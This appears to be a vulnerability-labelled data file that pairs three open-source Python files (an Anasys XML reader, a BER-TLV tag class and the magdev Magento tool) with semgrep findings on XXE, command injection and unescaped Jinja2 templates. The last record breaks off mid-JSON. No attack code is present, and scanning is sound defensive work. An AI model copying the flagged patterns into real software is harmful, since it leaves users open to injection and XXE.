if ext == '.axz':
f_xml = self._open_axz(self._f_path)
elif ext == '.axd':
f_xml = self._open_axd(self._f_path)
return f_xml.root
def _strip_namespace(self, f_data):
"""strips annoying xmlns data that elementTree auto-prepends to all element tags"""
for event, el in f_data:
el.tag = el.tag.split('}', 1)[1] #strip namespaces from tags
return f_data
def _open_axd(self, _f_path):
"""Opens an axd file and returns its content as an ElementTree object"""
f_data = ET.iterparse(_f_path)
f_data = self._strip_namespace(f_data)
return f_data
def _open_axz(self, _f_path):
"""Opens an axz file and returns its content as an ElementTree object"""
with gzip.open(_f_path) as f:
f_data = ET.iterparse(f)
f_data = self._strip_namespace(f_data)
return f_data
# def read(fn):
# doc = AnasysFileReader(fn)._doc
# return anasysdoc.AnasysDoc(doc)
| 70 | 35.76 | 106 | 14 | 670 | python | [{"finding_id": "semgrep_rules.python.lang.security.use-defused-xml_83aac057225f2846_0fd3a029", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.use-defused-xml", "finding_type": "security", "severity": "high", "confidence": "low", "message": "The Python documentation recommends using `defusedxml` instead of `xml` because the native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service.", "remediation": "", "location": {"file_path": "unknown", "line_start": 11, "line_end": 11, "column_start": 1, "column_end": 35, "code_snippet": "requires login"}, "cwe_id": "CWE-611: Improper Restriction of XML External Entity Reference", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A04:2017 - XML External Entities (XXE)", "references": [{"url": "https://docs.python.org/3/library/xml.html", "title": null}, {"url": "https://github.com/tiran/defusedxml", "title": null}, {"url": "https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.use-defused-xml", "path": "/tmp/tmppq52ww6s/83aac057225f2846.py", "start": {"line": 11, "col": 1, "offset": 275}, "end": {"line": 11, "col": 35, "offset": 309}, "extra": {"message": "The Python documentation recommends using `defusedxml` instead of `xml` because the native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service.", "metadata": {"owasp": ["A04:2017 - XML External Entities (XXE)", "A05:2021 - Security Misconfiguration", "A02:2025 - Security Misconfiguration"], "cwe": ["CWE-611: Improper Restriction of XML External Entity Reference"], "references": ["https://docs.python.org/3/library/xml.html", "https://github.com/tiran/defusedxml", "https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 1 | true | [
"CWE-611"
] | [
"rules.python.lang.security.use-defused-xml"
] | [
"security"
] | [
"LOW"
] | [
"HIGH"
] | [
11
] | [
11
] | [
1
] | [
35
] | [
"A04:2017 - XML External Entities (XXE)"
] | [
"The Python documentation recommends using `defusedxml` instead of `xml` because the native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service."
] | [
7.5
] | [
"LOW"
] | [
"MEDIUM"
] | anasysio.py | /anasyspythontools/anasysio.py | AnasysInstruments/anasys-python-tools | MIT | |
2024-11-18T19:44:15.319453+00:00 | 1,666,731,822,000 | f70dec3d6f214b9ba61534dad02d05fa33034ce1 | 3 | {
"blob_id": "f70dec3d6f214b9ba61534dad02d05fa33034ce1",
"branch_name": "refs/heads/master",
"committer_date": 1666731822000,
"content_id": "103a6e391f82eb15c00439d25240c09f1d9f692a",
"detected_licenses": [
"BSD-3-Clause"
],
"directory_id": "4ae4a78ee89003a1d5d4cc9ce2e31c81975de636",
"extension": "py",
"filename": "tag.py",
"fork_events_count": 1,
"gha_created_at": 1583882862000,
"gha_event_created_at": 1678741047000,
"gha_language": "Python",
"gha_license_id": "BSD-3-Clause",
"github_id": 246430095,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 5202,
"license": "BSD-3-Clause",
"license_type": "permissive",
"path": "/src/bertlv/tag.py",
"provenance": "stack-edu-0054.json.gz:580472",
"repo_name": "philipschoemig/BER-TLV",
"revision_date": 1666731822000,
"revision_id": "087d3dbc1363f62229afef73f03ea851ca216333",
"snapshot_id": "7408d241faf3a6c03842ad4800fa0aec1b245a2f",
"src_encoding": "UTF-8",
"star_events_count": 8,
"url": "https://raw.githubusercontent.com/philipschoemig/BER-TLV/087d3dbc1363f62229afef73f03ea851ca216333/src/bertlv/tag.py",
"visit_date": "2023-03-15T11:47:55.256806"
} | 3 | stackv2 | from enum import Enum
from functools import total_ordering
from xml.etree import ElementTree
from . import config, mapper
class TagClass(Enum):
UNIVERSAL = 0 # 0b00000000
APPLICATION = 1 # 0b01000000
CONTEXT_SPECIFIC = 2 # 0b10000000
PRIVATE = 3 # 0b11000000
class TagType(Enum):
PRIMITIVE = 0 # 0b00000000
CONSTRUCTED = 1 # 0b00100000
@total_ordering
class Tag:
"""This represents a TLV tag following the BER encoding.
It consists of the following parts:
- Tag class: bits 7-8 of the initial octet
- Tag type: bit 6 of the initial octet
- Tag number: bits 1-5 of the initial octet and bits 1-7 of subsequent octets
"""
CLASS_BITMASK = 0b11000000
TYPE_BITMASK = 0b00100000
def __init__(self, identifier: bytes, *, force_constructed: bool = False):
self.identifier = identifier
map_constructed = mapper.is_constructed(self.to_hex())
if map_constructed is not None:
force_constructed = map_constructed
self._force_constructed = force_constructed
def __repr__(self) -> str:
return self._identifier.hex()
def __str__(self) -> str:
return f"0x{self._identifier.hex()}"
def __eq__(self, other: "Tag"):
return repr(self) == repr(other)
def __lt__(self, other: "Tag"):
return repr(self) < repr(other)
@property
def identifier(self) -> bytes:
"""Return the identifier octets of this tag."""
return self._identifier
@identifier.setter
def identifier(self, identifier: bytes):
"""Set the identifier octets of this tag."""
# Strip leading zeros
identifier = identifier.lstrip(b"\x00")
self._check_tag(identifier)
self._identifier = identifier
@property
def tag_class(self) -> TagClass:
"""Return the class of this tag."""
# In the initial octet, bits 7-8 encode the class
class_bits = (self._identifier[0] & self.CLASS_BITMASK) >> 6
return TagClass(class_bits)
@property
def tag_type(self) -> TagType:
"""Return the type of this tag."""
# In the initial octet, bit 6 encodes the type
type_bits = (self._identifier[0] & self.TYPE_BITMASK) >> 5
return TagType(type_bits)
def xml_tag(self) -> str:
entry = mapper.lookup(self.to_hex())
xml_tag = ""
if entry is not None:
xml_tag = entry.get("XMLTag") or ""
return xml_tag
def is_constructed(self) -> bool:
"""Return true if the tag is constructed otherwise false."""
if self.tag_type == TagType.CONSTRUCTED or self._force_constructed:
return True
return False
def to_int(self) -> int:
"""Return an integer representing a tag."""
return int.from_bytes(self._identifier, byteorder="big")
def to_hex(self) -> str:
"""Return a hex string representing a tag."""
return "0x" + self._identifier.hex().upper()
def to_xml(self, element: ElementTree.Element) -> ElementTree.Element:
"""Return an XML element representing a tag."""
element.set("Tag", self.to_hex())
return element
@classmethod
def from_int(cls, tag: int, *, force_constructed: bool = False) -> "Tag":
"""Return the tag represented by the given integer."""
length = (tag.bit_length() + 7) // 8
return cls(
tag.to_bytes(length, byteorder="big"), force_constructed=force_constructed
)
@classmethod
def from_hex(cls, tag: str, *, force_constructed: bool = False) -> "Tag":
"""Return the tag represented by the given hex string."""
if tag.startswith("0x"):
tag = tag[2:]
return cls(bytes.fromhex(tag), force_constructed=force_constructed)
@staticmethod
def _check_tag(octets: bytes):
"""Check the tag octets against the Basic encoding rules of ASN.1 (see ISO/IEC 8825)."""
if len(octets) == 0:
raise ValueError("tag must not be empty")
if octets[0] & 0x1F == 0x1F:
if len(octets) == 1:
raise ValueError(f"tag is missing subsequent octets: {octets.hex()}")
for index, byte in enumerate(octets[1:], start=1):
if index == 1 and byte == 0x80 and config.strict_checking:
raise ValueError(
"tag has first subsequent octet where bits 7 to 1 are all "
f"zero: {octets.hex()}"
)
if index + 1 < len(octets) and byte & 0x80 != 0x80:
raise ValueError(
f"tag has subsequent octet where bit 1 is not set: {octets.hex()}"
)
if index + 1 == len(octets) and byte & 0x80 == 0x80:
raise ValueError(
f"tag is missing subsequent octets: {octets.hex()}"
)
class RootTag(Tag):
def __init__(self):
# Tag 0x30 = ASN.1 type "SEQUENCE and SEQUENCE OF"
super().__init__(b"\x30")
def __repr__(self) -> str:
return "root"
def __str__(self) -> str:
return "root"
| 154 | 32.78 | 96 | 22 | 1,363 | python | [{"finding_id": "semgrep_rules.python.lang.security.use-defused-xml_fca4a66fd14f46fc_80a7cdce", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.use-defused-xml", "finding_type": "security", "severity": "high", "confidence": "low", "message": "The Python documentation recommends using `defusedxml` instead of `xml` because the native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service.", "remediation": "", "location": {"file_path": "unknown", "line_start": 3, "line_end": 3, "column_start": 1, "column_end": 34, "code_snippet": "requires login"}, "cwe_id": "CWE-611: Improper Restriction of XML External Entity Reference", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A04:2017 - XML External Entities (XXE)", "references": [{"url": "https://docs.python.org/3/library/xml.html", "title": null}, {"url": "https://github.com/tiran/defusedxml", "title": null}, {"url": "https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.use-defused-xml", "path": "/tmp/tmppq52ww6s/fca4a66fd14f46fc.py", "start": {"line": 3, "col": 1, "offset": 59}, "end": {"line": 3, "col": 34, "offset": 92}, "extra": {"message": "The Python documentation recommends using `defusedxml` instead of `xml` because the native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service.", "metadata": {"owasp": ["A04:2017 - XML External Entities (XXE)", "A05:2021 - Security Misconfiguration", "A02:2025 - Security Misconfiguration"], "cwe": ["CWE-611: Improper Restriction of XML External Entity Reference"], "references": ["https://docs.python.org/3/library/xml.html", "https://github.com/tiran/defusedxml", "https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 1 | true | [
"CWE-611"
] | [
"rules.python.lang.security.use-defused-xml"
] | [
"security"
] | [
"LOW"
] | [
"HIGH"
] | [
3
] | [
3
] | [
1
] | [
34
] | [
"A04:2017 - XML External Entities (XXE)"
] | [
"The Python documentation recommends using `defusedxml` instead of `xml` because the native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service."
] | [
7.5
] | [
"LOW"
] | [
"MEDIUM"
] | tag.py | /src/bertlv/tag.py | philipschoemig/BER-TLV | BSD-3-Clause | |
2024-11-18T19:44:16.109079+00:00 | 1,367,953,487,000 | 99ebfbc700136e45c2fd8336c8d577c6479395f2 | 2 | {
"blob_id": "99ebfbc700136e45c2fd8336c8d577c6479395f2",
"branch_name": "refs/heads/master",
"committer_date": 1368025082000,
"content_id": "e98be3c0182e9a1224ec2396c3c155e27c6fa862",
"detected_licenses": [
"MIT"
],
"directory_id": "193a3e8cdb1f17f986525ad0450efbf54316df86",
"extension": "py",
"filename": "magdev.py",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": null,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 13981,
"license": "MIT",
"license_type": "permissive",
"path": "/magdev.py",
"provenance": "stack-edu-0054.json.gz:580483",
"repo_name": "tzp-software/magdev",
"revision_date": 1367953487000,
"revision_id": "de01c281cbc54fed7317dbdd03752a772ab36307",
"snapshot_id": "4efd75eea50bb10db6d5fd7cb32d2d585b9a370c",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/tzp-software/magdev/de01c281cbc54fed7317dbdd03752a772ab36307/magdev.py",
"visit_date": "2020-12-31T04:06:37.603132"
} | 2.390625 | stackv2 | # vim: set fileencoding=utf-8 :
from __future__ import absolute_import, division
import os
from pkg_resources import resource_filename
from jinja2 import (
Environment,
FileSystemLoader,
StrictUndefined,
UndefinedError,
)
from ConfigParser import (
SafeConfigParser,
)
import subprocess
import tempfile
import shutil
import logging
from contextlib import contextmanager
from collections import defaultdict
__version__ = (0, 1, 0)
DEFAULT_CONFIG = {}
# Setup logger
log = logging.getLogger('magdev')
handler = logging.StreamHandler()
log.addHandler(handler)
log.setLevel(logging.INFO)
def tree():
return defaultdict(tree)
class BaseError(Exception):
pass
class Config(SafeConfigParser):
"""Config class"""
def get_extensions(self):
"""Get extensions config
:returns: A tree
"""
extensions = tree()
if self.has_section('extensions'):
for k in self.options('extensions'):
k_parts = k.split('.')
if len(k_parts) < 2:
continue
if len(k_parts) == 2:
extensions[k_parts[0]][k_parts[1]] = self.get('extensions',
k)
# ignore others
# TODO: Assert that all required stuff is set
# TODO: Assert that name only contains /a-z_/i
return extensions
def git_call(args, cwd=None):
"""Make a git call
:param args: list of git arguments
:param cwd: working directory for the call
:returns: The subprocess stdout
"""
try:
return subprocess.check_output(['git'] + args,
cwd=cwd,
shell=False
)
except subprocess.CalledProcessError, e:
log.info(e.output)
raise e
@contextmanager
def download_git_repo(uri):
"""Download a git repo
yields the temporary download dir, on exit it will be deleted
:param uri: URI string(Will be split on space so it can contain git flags)
"""
build_dir = tempfile.mkdtemp('magdev')
repo_dir = os.path.join(build_dir, 'repo')
git_call(['clone'] + [s for s in uri.split(' ') if s.strip] + [repo_dir])
yield repo_dir
shutil.rmtree(build_dir)
class Magdev():
template_suffix = '.jinja2'
def __init__(self, path):
self.path = os.path.abspath(path)
@property
def magento_dir(self):
return os.path.join(self.path, 'magento')
@property
def extensions_dir(self):
return os.path.join(self.path, 'extensions')
@property
def config_dir(self):
return os.path.join(self.magento_dir, '.magdev')
@property
def config_file_path(self):
return os.path.join(self.config_dir, 'magdev.ini')
@property
def config(self):
path = self.config_file_path
defaults = DEFAULT_CONFIG.copy()
defaults['here'] = self.path
config = Config(defaults)
config.read(path)
return config
def exists(self):
"""Check if this magdev project exists"""
return os.path.isfile(self.config_file_path)
def init(self, template_vars):
"""Init this magdev
Will create the git repo.
Required template_vars:
* ['magento']['git']
:param template_vars: Variables that will be set for the templates.
:returns: Nothing
"""
assert not self.exists()
os.makedirs(self.magento_dir, 0755)
os.makedirs(self.config_dir, 0755)
os.makedirs(self.extensions_dir, 0755)
# Copy files from data
data_dir = os.path.abspath(resource_filename(__name__, 'data'))
env = Environment(loader=FileSystemLoader(data_dir),
undefined=StrictUndefined)
dest_dir = self.config_dir
for rel_root, dirs, files in os.walk(data_dir):
root = os.path.abspath(rel_root)
template_base = root[len(data_dir) + 1:]
for f in files:
if f.endswith(self.template_suffix):
src = os.path.join(template_base, f)
dest = os.path.join(dest_dir,
template_base,
f[0:-len(self.template_suffix)])
# Get contents before truncating the file
try:
contents = env.get_template(src).render(
**template_vars)
except UndefinedError, e:
raise BaseError("Template error {0} (in '{1}')"
.format(e, src))
with open(dest, 'w') as fh:
fh.write(contents)
else:
src = os.path.join(root, f)
dest = os.path.join(dest_dir, template_base, f)
shutil.copyfile(src, dest)
for d in dirs:
dest = os.path.join(dest_dir,
template_base,
d)
if not os.path.isdir(dest):
os.makedirs(dest)
self.update_ignore_file()
self._git(['init'])
self._git(['add', '.'])
self._git(['commit', '-m', 'Base Magdev project'])
# Update magento and commit that update
self.update_magento()
self._git(['add', '.'])
self._git(['commit', '-m', 'Added magento'])
# Update extensions
self.update_extensions()
def clone(self, uri):
"""Clone from uri"""
assert not self.exists()
os.makedirs(self.path)
git_call(['clone'] + [l for l in uri.split(' ') if l.strip()] +
[self.magento_dir])
def _git(self, args):
"""Run a git command on the repo"""
return git_call(args, self.magento_dir)
def _git_modified(self):
return 'nothing to commit, working directory clean' \
not in self._git(['st'])
def _git_clean(self):
"""Clean git repo, including ignored files"""
return self._git(['clean', '-f', '-d', '-x'])
def update_all(self):
self.update_magento()
self.update_extensions()
def update_magento(self):
"""Update magento
"""
if self._git_modified():
raise BaseException("Cannot update magento - repo is modified")
self._git_clean()
log.info('Updating magento')
# TODO: Remove old magento files by using git
dest_dir = self.magento_dir
with download_git_repo(self.config.get('magento', 'git')) as src_dir:
# Move magento files
for rel_root, dirs, files in os.walk(src_dir):
if '.git' in rel_root:
continue
root = os.path.abspath(rel_root)
rel_base = root[len(src_dir) + 1:]
for f in files:
if f.startswith('.git'):
continue
shutil.copy2(os.path.join(src_dir, rel_base, f),
os.path.join(dest_dir, rel_base, f))
for d in dirs:
if d.startswith('.git'):
continue
src = os.path.join(src_dir, rel_base, d)
dest = os.path.join(dest_dir, rel_base, d)
if not os.path.isdir(dest):
# preserve permissions
os.makedirs(dest, os.stat(src).st_mode & 0777)
files = ['/{0}'.format(f) for f in os.listdir(self.magento_dir)
if not f.startswith('.git')]
self.write_ignore_file('magento', files)
self.update_ignore_file()
def write_ignore_file(self, name, files):
with open(os.path.join(self.config_dir, 'ignore', name), 'w') as fh:
fh.write("\n".join(files))
def update_ignore_file(self):
ignores = []
unignores = []
ignore_dir = os.path.join(self.config_dir, 'ignore')
unignore_dir = os.path.join(self.config_dir, 'unignore')
for name in os.listdir(ignore_dir):
with open(os.path.join(ignore_dir, name), 'r') as fh:
ignores.extend(['# .magdev/ignore/{0}'.format(name)] +
[l for l in fh.read().splitlines()
if not l.startswith('#')])
for name in os.listdir(unignore_dir):
with open(os.path.join(unignore_dir, name), 'r') as fh:
unignores.extend(['# .magdev/unignore/{0}'.format(name)] +
["!{0}".format(l) for l
in fh.read().splitlines()
if not l.startswith('#')])
with open(os.path.join(self.magento_dir, '.gitignore'), 'w') as f:
f.write("# Autogenerated by magdev. Do not edit by hand\n"
"# Add files to ignore in .magdev/ignore\n"
"# Add files to un-ignore in .magdev/unignore\n")
f.write("\n# Ignore files\n\n")
f.write("\n".join(ignores))
f.write("\n\n# Unignore files\n\n")
f.write("\n".join(unignores))
def update_extensions(self):
log.info('Updating extensions')
if not os.path.exists(self.extensions_dir):
os.makedirs(self.extensions_dir)
extensions = self.config.get_extensions()
for (name, args) in extensions.iteritems():
# Clone extension to extensions_dir
repo_dir = os.path.join(self.extensions_dir, name)
if os.path.exists(repo_dir):
# Check if modified
if 'nothing to commit, working directory clean' not in \
git_call(['st'], repo_dir):
raise BaseException("Will not pull extension {0} - "
"modified".format(name))
git_call(['pull'], repo_dir)
else:
git_call(['clone'] + [l for l in args['git'].split(' ')
if l.strip()] + [repo_dir])
# Symlink extension(Currently the only supported extension-type)
self._symlink_extension(name)
def _symlink_extension(self, extension_name):
"""Setup extension symlinks
The symlinks will be relative, it will not remove old symlinks.
:raises: `BaseException` If a symlink file already exists
"""
repo_dir = os.path.join(self.extensions_dir, extension_name)
ignore_files = []
def _symlink(rel_dir):
src_dir = os.path.join(repo_dir, rel_dir)
dest_dir = os.path.join(self.magento_dir, rel_dir)
symlinks = []
for name in [f for f in os.listdir(src_dir)
if not f.startswith('.')]:
src = os.path.join(src_dir, name)
dest = os.path.join(dest_dir, name)
# TODO: Use OS escape, not '/'
link_target = os.path.join('../' * (rel_dir.count('/') + 2 if
rel_dir else 1),
'extensions',
extension_name,
rel_dir,
name)
if os.path.lexists(dest):
if os.path.islink(dest):
old_link_target = os.path.abspath(
os.path.join(os.path.dirname(dest),
os.readlink(dest))
)
if old_link_target != os.path.abspath(src):
raise BaseException(
"Encountered symlink to different "
"target: {0}->{1} (Should be {2})".format(
dest, os.readlink(dest), link_target))
else:
symlinks.append(os.path.join(rel_dir, name))
log.info("Symlink already exists {0} -> {1}".
format(link_target, dest))
else:
log.info("Symlinking {0}->{1}".format(link_target, dest))
os.symlink(link_target, dest)
symlinks.append(os.path.join(rel_dir, name))
return symlinks
# Symlink all files in base
ignore_files.extend(_symlink(''))
# Symlink all configs in app/etc/modules
ignore_files.extend(_symlink('app/etc/modules'))
# Symlink all in app/code/community/VENDOR
rel_community_dir = os.path.join('app', 'code', 'community')
src_community_dir = os.path.join(repo_dir, rel_community_dir)
for vendor_name in os.listdir(src_community_dir):
rel_vendor_dir = os.path.join(rel_community_dir, vendor_name)
src_vendor_dir = os.path.join(repo_dir, rel_vendor_dir)
if os.path.isdir(src_vendor_dir) \
and not vendor_name.startswith('.'):
# Create vendor dir
dest_vendor_dir = os.path.join(self.magento_dir,
rel_vendor_dir)
if not os.path.isdir(dest_vendor_dir):
os.makedirs(dest_vendor_dir, 0755)
ignore_files.extend(_symlink(rel_vendor_dir))
self.write_ignore_file('module.{0}'.format(extension_name),
ignore_files)
self.update_ignore_file()
# Leave this in a changed state
log.info("Gitignore updated - repo might be in a modified state")
| 396 | 34.31 | 79 | 23 | 2,804 | python | [{"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-subprocess-use-audit_579a968537220755_ee0c5a74", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Detected subprocess function 'check_output' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "remediation": "", "location": {"file_path": "unknown", "line_start": 74, "line_end": 77, "column_start": 16, "column_end": 41, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "title": null}, {"url": "https://docs.python.org/3/library/subprocess.html", "title": null}, {"url": "https://docs.python.org/3/library/shlex.html", "title": null}, {"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "path": "/tmp/tmppq52ww6s/579a968537220755.py", "start": {"line": 74, "col": 16, "offset": 1640}, "end": {"line": 77, "col": 41, "offset": 1819}, "extra": {"message": "Detected subprocess function 'check_output' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "metadata": {"owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "asvs": {"control_id": "5.3.8 OS Command Injection", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v53-output-encoding-and-injection-prevention-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "references": ["https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "https://docs.python.org/3/library/subprocess.html", "https://docs.python.org/3/library/shlex.html", "https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.flask.security.xss.audit.direct-use-of-jinja2_579a968537220755_f8292cec", "tool_name": "semgrep", "rule_id": "rules.python.flask.security.xss.audit.direct-use-of-jinja2", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Detected direct use of jinja2. If not done properly, this may bypass HTML escaping which opens up the application to cross-site scripting (XSS) vulnerabilities. Prefer using the Flask method 'render_template()' and templates with a '.html' extension in order to prevent XSS.", "remediation": "", "location": {"file_path": "unknown", "line_start": 156, "line_end": 157, "column_start": 15, "column_end": 53, "code_snippet": "requires login"}, "cwe_id": "CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A07:2017 - Cross-Site Scripting (XSS)", "references": [{"url": "https://jinja.palletsprojects.com/en/2.11.x/api/#basics", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.flask.security.xss.audit.direct-use-of-jinja2", "path": "/tmp/tmppq52ww6s/579a968537220755.py", "start": {"line": 156, "col": 15, "offset": 3799}, "end": {"line": 157, "col": 53, "offset": 3898}, "extra": {"message": "Detected direct use of jinja2. If not done properly, this may bypass HTML escaping which opens up the application to cross-site scripting (XSS) vulnerabilities. Prefer using the Flask method 'render_template()' and templates with a '.html' extension in order to prevent XSS.", "metadata": {"cwe": ["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')"], "owasp": ["A07:2017 - Cross-Site Scripting (XSS)", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://jinja.palletsprojects.com/en/2.11.x/api/#basics"], "category": "security", "technology": ["flask"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.jinja2.security.audit.missing-autoescape-disabled_579a968537220755_ba9bbb1e", "tool_name": "semgrep", "rule_id": "rules.python.jinja2.security.audit.missing-autoescape-disabled", "finding_type": "security", "severity": "medium", "confidence": "medium", "message": "Detected a Jinja2 environment without autoescaping. Jinja2 does not autoescape by default. This is dangerous if you are rendering to a browser because this allows for cross-site scripting (XSS) attacks. If you are in a web context, enable autoescaping by setting 'autoescape=True.' You may also consider using 'jinja2.select_autoescape()' to only enable automatic escaping for certain file extensions.", "remediation": "Environment(loader=FileSystemLoader(data_dir, autoescape=True),\n undefined=StrictUndefined, autoescape=True)", "location": {"file_path": "unknown", "line_start": 156, "line_end": 157, "column_start": 15, "column_end": 53, "code_snippet": "requires login"}, "cwe_id": "CWE-116: Improper Encoding or Escaping of Output", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A03:2021 - Injection", "references": [{"url": "https://jinja.palletsprojects.com/en/2.11.x/api/#basics", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.jinja2.security.audit.missing-autoescape-disabled", "path": "/tmp/tmppq52ww6s/579a968537220755.py", "start": {"line": 156, "col": 15, "offset": 3799}, "end": {"line": 157, "col": 53, "offset": 3898}, "extra": {"message": "Detected a Jinja2 environment without autoescaping. Jinja2 does not autoescape by default. This is dangerous if you are rendering to a browser because this allows for cross-site scripting (XSS) attacks. If you are in a web context, enable autoescaping by setting 'autoescape=True.' You may also consider using 'jinja2.select_autoescape()' to only enable automatic escaping for certain file extensions.", "fix": "Environment(loader=FileSystemLoader(data_dir, autoescape=True),\n undefined=StrictUndefined, autoescape=True)", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/plugins/b701_jinja2_autoescape_false.html", "cwe": ["CWE-116: Improper Encoding or Escaping of Output"], "owasp": ["A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://jinja.palletsprojects.com/en/2.11.x/api/#basics"], "category": "security", "technology": ["jinja2"], "subcategory": ["vuln"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "MEDIUM"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_579a968537220755_329686a6", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 179, "line_end": 179, "column_start": 26, "column_end": 41, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmppq52ww6s/579a968537220755.py", "start": {"line": 179, "col": 26, "offset": 4805}, "end": {"line": 179, "col": 41, "offset": 4820}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_579a968537220755_eab78af6", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure 